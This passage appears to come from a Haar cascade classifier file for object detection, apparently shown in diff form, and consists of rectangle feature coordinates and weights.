0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 7 16 9 6 -1. + <_> + 7 18 9 2 3. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 17 1 6 16 -1. + <_> + 19 1 2 16 3. + <_> + + <_> + 1 1 6 16 -1. + <_> + 3 1 2 16 3. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 0 0 6 9 -1. + <_> + 0 3 6 3 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 9 5 3 6 2. + <_> + + <_> + 3 10 9 6 -1. + <_> + 6 10 3 6 3. + <_> + + <_> + 14 7 3 16 -1. + <_> + 14 15 3 8 2. + <_> + + <_> + 4 10 14 12 -1. + <_> + 4 10 7 6 2. + <_> + 11 16 7 6 2. + <_> + + <_> + 7 6 12 6 -1. + <_> + 7 8 12 2 3. + <_> + + <_> + 7 2 4 20 -1. + <_> + 9 2 2 20 2. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 5 20 14 4 -1. + <_> + 5 22 14 2 2. + <_> + + <_> + 4 4 16 12 -1. + <_> + 4 10 16 6 2. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 3 0 21 4 -1. + <_> + 3 2 21 2 2. + <_> + + <_> + 4 13 6 9 -1. + <_> + 4 16 6 3 3. + <_> + + <_> + 16 16 5 8 -1. + <_> + 16 20 5 4 2. + <_> + + <_> + 4 0 16 16 -1. + <_> + 4 0 8 8 2. + <_> + 12 8 8 8 2. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 10 5 4 15 -1. + <_> + 10 10 4 5 3. + <_> + + <_> + 9 15 12 8 -1. + <_> + 15 15 6 4 2. + <_> + 9 19 6 4 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 12 7 6 4 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 3 6 18 10 -1. + <_> + 3 6 9 5 2. + <_> + 12 11 9 5 2. + <_> + + <_> + 6 0 18 21 -1. + <_> + 12 0 6 21 3. + <_> + + <_> + 0 0 24 21 -1. + <_> + 8 0 8 21 3. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 4 3 19 2 -1. + <_> + 4 4 19 1 2. + <_> + + <_> + 0 3 24 2 -1. + <_> + 0 4 24 1 2. + <_> + + <_> + 15 14 9 4 -1. + <_> + 15 16 9 2 2. + <_> + + <_> + 0 14 9 4 -1. + <_> + 0 16 9 2 2. + <_> + + <_> + 6 15 18 2 -1. + <_> + 6 16 18 1 2. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 12 0 3 23 -1. + <_> + 13 0 1 23 3. + <_> + + <_> + 6 0 8 6 -1. + <_> + 6 3 8 3 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 9 0 3 23 -1. + <_> + 10 0 1 23 3. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 7 8 10 12 -1. + <_> + 7 12 10 4 3. + <_> + + <_> + 14 9 6 14 -1. + <_> + 17 9 3 7 2. + <_> + 14 16 3 7 2. + <_> + + <_> + 2 0 10 9 -1. + <_> + 2 3 10 3 3. + <_> + + <_> + 11 1 5 12 -1. + <_> + 11 7 5 6 2. + <_> + + <_> + 1 4 12 10 -1. + <_> + 1 4 6 5 2. + <_> + 7 9 6 5 2. + <_> + + <_> + 15 1 9 4 -1. + <_> + 15 3 9 2 2. + <_> + + <_> + 1 2 8 10 -1. + <_> + 1 2 4 5 2. + <_> + 5 7 4 5 2. + <_> + + <_> + 10 1 5 12 -1. + <_> + 10 5 5 4 3. + <_> + + <_> + 4 0 14 24 -1. + <_> + 11 0 7 24 2. + <_> + + <_> + 7 17 10 4 -1. + <_> + 7 19 10 2 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 13 15 6 9 -1. + <_> + 15 15 2 9 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 13 15 6 9 -1. + <_> + 15 15 2 9 3. + <_> + + <_> + 5 15 6 9 -1. + <_> + 7 15 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 7 3 6 11 -1. + <_> + 9 3 2 11 3. + <_> + + <_> + 15 1 9 4 -1. + <_> + 15 3 9 2 2. + <_> + + <_> + 5 4 14 8 -1. + <_> + 5 8 14 4 2. + <_> + + <_> + 8 1 15 9 -1. + <_> + 8 4 15 3 3. + <_> + + <_> + 7 2 8 10 -1. + <_> + 7 2 4 5 2. + <_> + 11 7 4 5 2. + <_> + + <_> + 12 2 6 12 -1. + <_> + 12 2 3 12 2. + <_> + + <_> + 6 2 6 12 -1. + <_> + 9 2 3 12 2. + <_> + + <_> + 7 7 12 4 -1. + <_> + 7 7 6 4 2. + <_> + + <_> + 6 3 12 10 -1. + <_> + 10 3 4 10 3. + <_> + + <_> + 5 6 16 6 -1. + <_> + 13 6 8 3 2. + <_> + 5 9 8 3 2. + <_> + + <_> + 3 1 18 9 -1. + <_> + 9 1 6 9 3. + <_> + + <_> + 3 8 18 5 -1. + <_> + 9 8 6 5 3. + <_> + + <_> + 0 0 24 22 -1. + <_> + 0 0 12 11 2. + <_> + 12 11 12 11 2. + <_> + + <_> + 14 16 9 6 -1. + <_> + 14 18 9 2 3. + <_> + + <_> + 0 16 24 8 -1. + <_> + 0 20 24 4 2. + <_> + + <_> + 1 19 22 4 -1. + <_> + 12 19 11 2 2. + <_> + 1 21 11 2 2. + <_> + + <_> + 1 16 9 6 -1. + <_> + 1 18 9 2 3. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 10 18 12 6 -1. + <_> + 16 18 6 3 2. + <_> + 10 21 6 3 2. + <_> + + <_> + 2 18 12 6 -1. + <_> + 2 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 8 3 16 9 -1. + <_> + 8 6 16 3 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 5 5 18 3 -1. + <_> + 5 6 18 1 3. + <_> + + <_> + 2 6 9 6 -1. + <_> + 2 9 9 3 2. + <_> + + <_> + 14 2 10 9 -1. + <_> + 14 5 10 3 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 9 2 15 6 -1. + <_> + 9 4 15 2 3. + <_> + + <_> + 4 8 15 6 -1. + <_> + 4 10 15 2 3. + <_> + + <_> + 0 5 24 4 -1. + <_> + 12 5 12 2 2. + <_> + 0 7 12 2 2. + <_> + + <_> + 7 8 6 12 -1. + <_> + 9 8 2 12 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 12 6 12 -1. + <_> + 0 12 3 6 2. + <_> + 3 18 3 6 2. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 2 7 18 9 -1. + <_> + 2 10 18 3 3. + <_> + + <_> + 11 14 10 9 -1. + <_> + 11 17 10 3 3. + <_> + + <_> + 7 6 10 8 -1. + <_> + 7 6 5 4 2. + <_> + 12 10 5 4 2. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 4 13 9 7 -1. + <_> + 7 13 3 7 3. + <_> + + <_> + 14 10 6 12 -1. + <_> + 17 10 3 6 2. + <_> + 14 16 3 6 2. + <_> + + <_> + 4 10 6 12 -1. + <_> + 4 10 3 6 2. + <_> + 7 16 3 6 2. + <_> + + <_> + 13 9 8 6 -1. + <_> + 13 9 4 6 2. + <_> + + <_> + 8 3 4 14 -1. + <_> + 10 3 2 14 2. + <_> + + <_> + 17 0 3 18 -1. + <_> + 18 0 1 18 3. + <_> + + <_> + 4 12 16 12 -1. + <_> + 12 12 8 12 2. + <_> + + <_> + 15 0 6 14 -1. + <_> + 17 0 2 14 3. + <_> + + <_> + 3 0 6 14 -1. + <_> + 5 0 2 14 3. + <_> + + <_> + 12 2 12 20 -1. + <_> + 16 2 4 20 3. + <_> + + <_> + 0 2 12 20 -1. + <_> + 4 2 4 20 3. + <_> + + <_> + 16 0 6 17 -1. + <_> + 18 0 2 17 3. + <_> + + <_> + 2 0 6 17 -1. + <_> + 4 0 2 17 3. + <_> + + <_> + 15 6 9 6 -1. + <_> + 15 8 9 2 3. + <_> + + <_> + 0 6 9 6 -1. + <_> + 0 8 9 2 3. + <_> + + <_> + 18 1 6 13 -1. + <_> + 20 1 2 13 3. + <_> + + <_> + 0 1 6 13 -1. + <_> + 2 1 2 13 3. + <_> + + <_> + 16 0 4 9 -1. + <_> + 16 0 2 9 2. + <_> + + <_> + 5 10 12 7 -1. + <_> + 9 10 4 7 3. + <_> + + <_> + 12 9 12 6 -1. + <_> + 12 11 12 2 3. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 11 12 2 3. + <_> + + <_> + 5 7 14 9 -1. + <_> + 5 10 14 3 3. + <_> + + <_> + 0 15 20 3 -1. + <_> + 0 16 20 1 3. + <_> + + <_> + 8 10 8 10 -1. + <_> + 12 10 4 5 2. + <_> + 8 15 4 5 2. + <_> + + <_> + 5 4 13 9 -1. + <_> + 5 7 13 3 3. + <_> + + <_> + 10 2 6 18 -1. + <_> + 10 8 6 6 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 3 2 15 12 -1. + <_> + 3 6 15 4 3. + <_> + + <_> + 12 0 12 5 -1. + <_> + 16 0 4 5 3. + <_> + + <_> + 0 15 18 3 -1. + <_> + 6 15 6 3 3. + <_> + + <_> + 0 14 24 5 -1. + <_> + 8 14 8 5 3. + <_> + + <_> + 5 1 3 18 -1. + <_> + 6 1 1 18 3. + <_> + + <_> + 10 0 4 14 -1. + <_> + 10 0 2 14 2. + <_> + + <_> + 9 3 4 9 -1. + <_> + 11 3 2 9 2. + <_> + + <_> + 8 2 12 6 -1. + <_> + 14 2 6 3 2. + <_> + 8 5 6 3 2. + <_> + + <_> + 0 4 17 4 -1. + <_> + 0 6 17 2 2. + <_> + + <_> + 16 16 5 8 -1. + <_> + 16 20 5 4 2. + <_> + + <_> + 3 16 5 8 -1. + <_> + 3 20 5 4 2. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 0 0 12 5 -1. + <_> + 4 0 4 5 3. + <_> + + <_> + 14 3 6 12 -1. + <_> + 17 3 3 6 2. + <_> + 14 9 3 6 2. + <_> + + <_> + 0 12 6 12 -1. + <_> + 2 12 2 12 3. + <_> + + <_> + 2 3 21 3 -1. + <_> + 2 4 21 1 3. + <_> + + <_> + 4 3 6 12 -1. + <_> + 4 3 3 6 2. + <_> + 7 9 3 6 2. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 0 15 16 9 -1. + <_> + 8 15 8 9 2. + <_> + + <_> + 6 13 18 5 -1. + <_> + 6 13 9 5 2. + <_> + + <_> + 1 6 15 6 -1. + <_> + 6 6 5 6 3. + <_> + + <_> + 11 9 9 6 -1. + <_> + 14 9 3 6 3. + <_> + + <_> + 3 0 15 11 -1. + <_> + 8 0 5 11 3. + <_> + + <_> + 15 3 3 18 -1. + <_> + 15 9 3 6 3. + <_> + + <_> + 6 3 3 18 -1. + <_> + 6 9 3 6 3. + <_> + + <_> + 9 5 10 8 -1. + <_> + 14 5 5 4 2. + <_> + 9 9 5 4 2. + <_> + + <_> + 4 4 16 8 -1. + <_> + 4 4 8 4 2. + <_> + 12 8 8 4 2. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 5 0 9 13 -1. + <_> + 8 0 3 13 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 8 1 10 9 -1. + <_> + 8 4 10 3 3. + <_> + + <_> + 0 2 18 2 -1. + <_> + 0 3 18 1 2. + <_> + + <_> + 10 13 14 6 -1. + <_> + 17 13 7 3 2. + <_> + 10 16 7 3 2. + <_> + + <_> + 0 13 14 6 -1. + <_> + 0 13 7 3 2. + <_> + 7 16 7 3 2. + <_> + + <_> + 20 2 3 21 -1. + <_> + 21 2 1 21 3. + <_> + + <_> + 0 9 5 12 -1. + <_> + 0 13 5 4 3. + <_> + + <_> + 12 6 12 6 -1. + <_> + 12 8 12 2 3. + <_> + + <_> + 1 8 20 3 -1. + <_> + 1 9 20 1 3. + <_> + + <_> + 5 7 19 3 -1. + <_> + 5 8 19 1 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 6 10 14 12 -1. + <_> + 6 14 14 4 3. + <_> + + <_> + 5 6 14 18 -1. + <_> + 5 12 14 6 3. + <_> + + <_> + 11 12 9 7 -1. + <_> + 14 12 3 7 3. + <_> + + <_> + 1 15 18 4 -1. + <_> + 1 17 18 2 2. + <_> + + <_> + 11 14 6 9 -1. + <_> + 11 17 6 3 3. + <_> + + <_> + 0 8 18 4 -1. + <_> + 0 8 9 2 2. + <_> + 9 10 9 2 2. + <_> + + <_> + 3 10 20 6 -1. + <_> + 13 10 10 3 2. + <_> + 3 13 10 3 2. + <_> + + <_> + 1 10 20 6 -1. + <_> + 1 10 10 3 2. + <_> + 11 13 10 3 2. + <_> + + <_> + 0 9 24 2 -1. + <_> + 0 9 12 2 2. + <_> + + <_> + 1 12 20 8 -1. + <_> + 1 12 10 4 2. + <_> + 11 16 10 4 2. + <_> + + <_> + 11 12 9 7 -1. + <_> + 14 12 3 7 3. + <_> + + <_> + 4 12 9 7 -1. + <_> + 7 12 3 7 3. + <_> + + <_> + 12 12 8 5 -1. + <_> + 12 12 4 5 2. + <_> + + <_> + 4 12 8 5 -1. + <_> + 8 12 4 5 2. + <_> + + <_> + 13 10 4 10 -1. + <_> + 13 10 2 10 2. + <_> + + <_> + 1 15 20 2 -1. + <_> + 11 15 10 2 2. + <_> + + <_> + 9 10 6 6 -1. + <_> + 9 10 3 6 2. + <_> + + <_> + 0 1 21 3 -1. + <_> + 7 1 7 3 3. + <_> + + <_> + 6 4 13 9 -1. + <_> + 6 7 13 3 3. + <_> + + <_> + 6 5 12 5 -1. + <_> + 10 5 4 5 3. + <_> + + <_> + 10 10 10 6 -1. + <_> + 10 12 10 2 3. + <_> + + <_> + 6 12 5 8 -1. + <_> + 6 16 5 4 2. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 2 10 18 6 -1. + <_> + 8 10 6 6 3. + <_> + + <_> + 11 2 9 4 -1. + <_> + 11 4 9 2 2. + <_> + + <_> + 1 20 21 3 -1. + <_> + 8 20 7 3 3. + <_> + + <_> + 1 10 22 2 -1. + <_> + 1 11 22 1 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 18 2 6 20 -1. + <_> + 20 2 2 20 3. + <_> + + <_> + 0 2 6 20 -1. + <_> + 2 2 2 20 3. + <_> + + <_> + 11 7 6 14 -1. + <_> + 14 7 3 7 2. + <_> + 11 14 3 7 2. + <_> + + <_> + 0 1 4 9 -1. + <_> + 2 1 2 9 2. + <_> + + <_> + 12 14 9 4 -1. + <_> + 12 16 9 2 2. + <_> + + <_> + 1 13 9 4 -1. + <_> + 1 15 9 2 2. + <_> + + <_> + 7 6 15 6 -1. + <_> + 7 8 15 2 3. + <_> + + <_> + 8 2 3 18 -1. + <_> + 8 8 3 6 3. + <_> + + <_> + 6 6 12 6 -1. + <_> + 12 6 6 3 2. + <_> + 6 9 6 3 2. + <_> + + <_> + 2 19 20 4 -1. + <_> + 2 19 10 2 2. + <_> + 12 21 10 2 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 3 5 18 14 -1. + <_> + 3 5 9 7 2. + <_> + 12 12 9 7 2. + <_> + + <_> + 15 6 4 18 -1. + <_> + 17 6 2 9 2. + <_> + 15 15 2 9 2. + <_> + + <_> + 5 6 4 18 -1. + <_> + 5 6 2 9 2. + <_> + 7 15 2 9 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 11 5 6 9 -1. + <_> + 13 5 2 9 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 12 5 3 6 2. + <_> + + <_> + 4 1 16 6 -1. + <_> + 12 1 8 3 2. + <_> + 4 4 8 3 2. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 17 1 6 12 -1. + <_> + 20 1 3 6 2. + <_> + 17 7 3 6 2. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 7 13 10 8 -1. + <_> + 7 17 10 4 2. + <_> + + <_> + 6 18 10 6 -1. + <_> + 6 20 10 2 3. + <_> + + <_> + 9 14 9 4 -1. + <_> + 9 16 9 2 2. + <_> + + <_> + 1 1 6 12 -1. + <_> + 1 1 3 6 2. + <_> + 4 7 3 6 2. + <_> + + <_> + 19 4 5 12 -1. + <_> + 19 8 5 4 3. + <_> + + <_> + 0 0 8 8 -1. + <_> + 4 0 4 8 2. + <_> + + <_> + 3 5 19 3 -1. + <_> + 3 6 19 1 3. + <_> + + <_> + 1 5 12 6 -1. + <_> + 1 5 6 3 2. + <_> + 7 8 6 3 2. + <_> + + <_> + 2 1 21 8 -1. + <_> + 9 1 7 8 3. + <_> + + <_> + 4 1 16 8 -1. + <_> + 4 5 16 4 2. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 4 4 10 14 -1. + <_> + 4 11 10 7 2. + <_> + + <_> + 15 6 4 10 -1. + <_> + 15 11 4 5 2. + <_> + + <_> + 3 18 18 3 -1. + <_> + 9 18 6 3 3. + <_> + + <_> + 8 18 12 6 -1. + <_> + 12 18 4 6 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 6 15 3 9 2. + <_> + + <_> + 15 7 6 8 -1. + <_> + 15 11 6 4 2. + <_> + + <_> + 3 7 6 8 -1. + <_> + 3 11 6 4 2. + <_> + + <_> + 5 9 18 6 -1. + <_> + 14 9 9 3 2. + <_> + 5 12 9 3 2. + <_> + + <_> + 1 13 12 6 -1. + <_> + 1 15 12 2 3. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 0 15 10 6 -1. + <_> + 0 17 10 2 3. + <_> + + <_> + 15 13 6 9 -1. + <_> + 15 16 6 3 3. + <_> + + <_> + 3 13 6 9 -1. + <_> + 3 16 6 3 3. + <_> + + <_> + 9 5 8 8 -1. + <_> + 9 5 4 8 2. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 13 19 10 4 -1. + <_> + 13 21 10 2 2. + <_> + + <_> + 1 19 10 4 -1. + <_> + 1 21 10 2 2. + <_> + + <_> + 6 19 18 3 -1. + <_> + 6 20 18 1 3. + <_> + + <_> + 8 14 4 10 -1. + <_> + 8 19 4 5 2. + <_> + + <_> + 0 0 24 6 -1. + <_> + 0 2 24 2 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 0 4 6 3 3. + <_> + + <_> + 4 9 20 6 -1. + <_> + 14 9 10 3 2. + <_> + 4 12 10 3 2. + <_> + + <_> + 1 15 19 8 -1. + <_> + 1 19 19 4 2. + <_> + + <_> + 14 0 10 6 -1. + <_> + 14 2 10 2 3. + <_> + + <_> + 1 10 21 14 -1. + <_> + 8 10 7 14 3. + <_> + + <_> + 10 10 8 8 -1. + <_> + 10 10 4 8 2. + <_> + + <_> + 6 8 10 4 -1. + <_> + 11 8 5 4 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 10 5 2 9 2. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 14 4 4 13 -1. + <_> + 14 4 2 13 2. + <_> + + <_> + 6 4 4 13 -1. + <_> + 8 4 2 13 2. + <_> + + <_> + 8 7 9 6 -1. + <_> + 11 7 3 6 3. + <_> + + <_> + 3 6 16 6 -1. + <_> + 3 6 8 3 2. + <_> + 11 9 8 3 2. + <_> + + <_> + 5 4 16 14 -1. + <_> + 13 4 8 7 2. + <_> + 5 11 8 7 2. + <_> + + <_> + 0 0 24 4 -1. + <_> + 0 0 12 2 2. + <_> + 12 2 12 2 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 4 1 14 4 -1. + <_> + 11 1 7 4 2. + <_> + + <_> + 10 14 7 9 -1. + <_> + 10 17 7 3 3. + <_> + + <_> + 8 3 8 10 -1. + <_> + 8 3 4 5 2. + <_> + 12 8 4 5 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 8 2 4 13 -1. + <_> + 10 2 2 13 2. + <_> + + <_> + 11 2 3 19 -1. + <_> + 12 2 1 19 3. + <_> + + <_> + 7 7 9 6 -1. + <_> + 10 7 3 6 3. + <_> + + <_> + 4 22 20 2 -1. + <_> + 4 22 10 2 2. + <_> + + <_> + 0 16 24 4 -1. + <_> + 0 16 12 2 2. + <_> + 12 18 12 2 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 1 10 8 14 -1. + <_> + 1 10 4 7 2. + <_> + 5 17 4 7 2. + <_> + + <_> + 11 16 6 6 -1. + <_> + 11 19 6 3 2. + <_> + + <_> + 6 0 10 24 -1. + <_> + 6 0 5 12 2. + <_> + 11 12 5 12 2. + <_> + + <_> + 7 5 14 14 -1. + <_> + 14 5 7 7 2. + <_> + 7 12 7 7 2. + <_> + + <_> + 7 8 10 8 -1. + <_> + 7 8 5 4 2. + <_> + 12 12 5 4 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 0 6 24 3 -1. + <_> + 12 6 12 3 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 1 13 22 4 -1. + <_> + 1 13 11 2 2. + <_> + 12 15 11 2 2. + <_> + + <_> + 9 12 12 6 -1. + <_> + 9 14 12 2 3. + <_> + + <_> + 0 5 9 6 -1. + <_> + 0 7 9 2 3. + <_> + + <_> + 1 5 23 6 -1. + <_> + 1 7 23 2 3. + <_> + + <_> + 1 6 19 12 -1. + <_> + 1 10 19 4 3. + <_> + + <_> + 9 1 6 21 -1. + <_> + 9 8 6 7 3. + <_> + + <_> + 3 19 18 3 -1. + <_> + 9 19 6 3 3. + <_> + + <_> + 9 14 6 9 -1. + <_> + 11 14 2 9 3. + <_> + + <_> + 9 6 4 12 -1. + <_> + 11 6 2 12 2. + <_> + + <_> + 16 0 6 9 -1. + <_> + 18 0 2 9 3. + <_> + + <_> + 2 0 6 9 -1. + <_> + 4 0 2 9 3. + <_> + + <_> + 13 1 4 22 -1. + <_> + 15 1 2 11 2. + <_> + 13 12 2 11 2. + <_> + + <_> + 1 8 8 12 -1. + <_> + 1 14 8 6 2. + <_> + + <_> + 14 7 7 9 -1. + <_> + 14 10 7 3 3. + <_> + + <_> + 3 12 18 4 -1. + <_> + 3 12 9 2 2. + <_> + 12 14 9 2 2. + <_> + + <_> + 13 1 4 22 -1. + <_> + 15 1 2 11 2. + <_> + 13 12 2 11 2. + <_> + + <_> + 7 1 4 22 -1. + <_> + 7 1 2 11 2. + <_> + 9 12 2 11 2. + <_> + + <_> + 4 7 20 4 -1. + <_> + 14 7 10 2 2. + <_> + 4 9 10 2 2. + <_> + + <_> + 9 10 6 7 -1. + <_> + 12 10 3 7 2. + <_> + + <_> + 7 7 10 4 -1. + <_> + 7 7 5 4 2. + <_> + + <_> + 0 3 4 15 -1. + <_> + 0 8 4 5 3. + <_> + + <_> + 15 0 8 12 -1. + <_> + 19 0 4 6 2. + <_> + 15 6 4 6 2. + <_> + + <_> + 1 0 8 12 -1. + <_> + 1 0 4 6 2. + <_> + 5 6 4 6 2. + <_> + + <_> + 14 5 6 16 -1. + <_> + 16 5 2 16 3. + <_> + + <_> + 4 5 6 16 -1. + <_> + 6 5 2 16 3. + <_> + + <_> + 15 0 6 16 -1. + <_> + 17 0 2 16 3. + <_> + + <_> + 3 0 6 16 -1. + <_> + 5 0 2 16 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 3 24 1 3. + <_> + + <_> + 7 1 10 4 -1. + <_> + 7 3 10 2 2. + <_> + + <_> + 1 0 23 8 -1. + <_> + 1 4 23 4 2. + <_> + + <_> + 1 17 19 3 -1. + <_> + 1 18 19 1 3. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 1 17 9 6 -1. + <_> + 1 19 9 2 3. + <_> + + <_> + 15 15 6 9 -1. + <_> + 15 18 6 3 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 4 14 20 6 -1. + <_> + 4 17 20 3 2. + <_> + + <_> + 0 10 6 14 -1. + <_> + 0 10 3 7 2. + <_> + 3 17 3 7 2. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 4 12 9 7 -1. + <_> + 7 12 3 7 3. + <_> + + <_> + 6 10 18 5 -1. + <_> + 12 10 6 5 3. + <_> + + <_> + 0 10 18 5 -1. + <_> + 6 10 6 5 3. + <_> + + <_> + 3 2 18 9 -1. + <_> + 9 2 6 9 3. + <_> + + <_> + 4 6 10 10 -1. + <_> + 4 6 5 5 2. + <_> + 9 11 5 5 2. + <_> + + <_> + 20 14 4 9 -1. + <_> + 20 14 2 9 2. + <_> + + <_> + 0 14 4 9 -1. + <_> + 2 14 2 9 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 6 21 12 3 -1. + <_> + 12 21 6 3 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 1 16 10 8 -1. + <_> + 1 16 5 4 2. + <_> + 6 20 5 4 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 1 0 3 19 -1. + <_> + 2 0 1 19 3. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 0 1 6 9 -1. + <_> + 2 1 2 9 3. + <_> + + <_> + 3 7 19 4 -1. + <_> + 3 9 19 2 2. + <_> + + <_> + 7 14 9 6 -1. + <_> + 7 16 9 2 3. + <_> + + <_> + 17 1 7 6 -1. + <_> + 17 4 7 3 2. + <_> + + <_> + 5 0 14 8 -1. + <_> + 5 4 14 4 2. + <_> + + <_> + 16 1 8 6 -1. + <_> + 16 4 8 3 2. + <_> + + <_> + 0 1 8 6 -1. + <_> + 0 4 8 3 2. + <_> + + <_> + 6 0 18 4 -1. + <_> + 15 0 9 2 2. + <_> + 6 2 9 2 2. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 3 7 18 8 -1. + <_> + 9 7 6 8 3. + <_> + + <_> + 2 11 6 9 -1. + <_> + 4 11 2 9 3. + <_> + + <_> + 10 5 6 9 -1. + <_> + 12 5 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 9 1 4 20 -1. + <_> + 9 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 5 9 18 6 -1. + <_> + 14 9 9 3 2. + <_> + 5 12 9 3 2. + <_> + + <_> + 6 4 6 9 -1. + <_> + 8 4 2 9 3. + <_> + + <_> + 10 16 8 6 -1. + <_> + 10 16 4 6 2. + <_> + + <_> + 0 0 18 8 -1. + <_> + 0 0 9 4 2. + <_> + 9 4 9 4 2. + <_> + + <_> + 6 5 14 12 -1. + <_> + 13 5 7 6 2. + <_> + 6 11 7 6 2. + <_> + + <_> + 4 3 15 7 -1. + <_> + 9 3 5 7 3. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 0 11 4 10 -1. + <_> + 0 16 4 5 2. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 